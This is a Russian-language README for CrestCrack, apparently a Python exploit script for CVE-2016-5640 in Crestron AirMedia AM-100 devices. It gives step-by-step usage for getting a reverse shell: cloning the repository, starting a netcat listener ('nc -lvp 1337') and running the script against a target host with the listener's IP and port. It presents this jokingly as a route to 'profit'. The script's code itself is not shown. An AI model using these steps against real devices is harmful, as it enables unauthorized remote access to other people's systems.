CrestCrack

CrestCrack — это простой скрипт, эксплуатирующий CVE-2016-5640 / CLVA-2016-05-002 в Crestron AirMedia AM-100 (v1.1.1.11 - v1.2.1). При передаче аргументов CrestCrack использует netcat для создания reverse shell между вашей целью и выбранным вами netcat-слушателем.

Установка:

1. Склонируйте копию CrestCrack git clone https://github.com/vpnguy/CrestCrack
2. Запустите netcat-слушатель nc -lvp 1337
3. Выполните CrestCrack против вашей цели, указав данные слушателя ./crestcrack.py https://targethost 255.255.255.255 1337
4. ??????
5. ПРОФИТ

Использование:

./crescrack.py [target host] [listener IP] [listener port]

Пример:

./crescrack.py https://targethost 123.123.123.123 3311

Дополнительная информация об уязвимости:

Раскрытие информации об уязвимости от Cylance

NIST CVE-2016-5640

Что будет добавлено:

• Обработка ошибок/проверка границ
• Расширенная поддержка аргументов
• Вывод --help